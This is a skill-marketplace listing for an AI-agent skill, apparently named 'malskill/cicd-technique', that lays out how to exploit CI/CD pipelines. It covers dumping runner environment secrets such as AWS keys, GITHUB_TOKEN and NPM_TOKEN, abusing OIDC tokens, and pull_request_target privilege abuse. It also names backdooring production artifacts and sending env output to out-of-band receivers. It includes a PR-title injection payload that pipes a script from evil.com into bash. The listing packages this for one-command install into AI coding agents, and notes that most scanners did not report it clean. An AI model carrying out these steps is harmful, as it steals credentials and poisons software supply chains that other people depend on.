offensive-techniques/cicd-technique/SKILL.md
CI/CD supply chain methodology: identifying poisoned pipelines, unsafe GitHub Actions, and extracting build secrets.
npx skillsauth add aeondave/malskill cicd-techniqueInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Goal: Exploit CI/CD pipelines (GitHub Actions, GitLab CI, Jenkins) to achieve code execution in runners, extract pipeline secrets, or backdoor production artifacts.
If you achieved execution within a pipeline step (e.g., via Poisoned PR):
env, search for AWS_ACCESS_KEY_ID, GITHUB_TOKEN, or $NPM_TOKEN.ACTIONS_ID_TOKEN_REQUEST_URL for OIDC (OpenID Connect) trust to AWS/GCP/Azure.Review the pipeline configuration files (.github/workflows/*.yml, .gitlab-ci.yml, Jenkinsfile).
run: blocks that echo/execute issues names, PR titles, or commit messages without sanitization:
- run: echo "Checking PR title: ${{ github.event.pull_request.title }}"
(A PR titled "; curl http://evil.com/shell.sh | bash; " will execute).pull_request_target Abuse: Workflows using pull_request_target run with elevated repository permissions. If they check out untrusted PR code and run npm install or make, the attacker obtains high-privileged execution.package.json), you can implant backdoors natively into the production deployment cycle.env | grep outputs sent to external burp collaborators or out-of-band receivers.development
White-box auditing methodology for AI-generated ('vibe-coded') applications. Focuses on modern stack misconfigurations (Supabase, Next.js, Vercel).
development
Hybrid AI/Deterministic SAST methodology for discovering zero-day vulnerabilities in source code. Orchestrates structural search with AI-driven data flow and sink validation.
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.
devops
Container methodology: Identifying containerization limits, Docker/K8s misconfigurations, and executing escapes to the host node.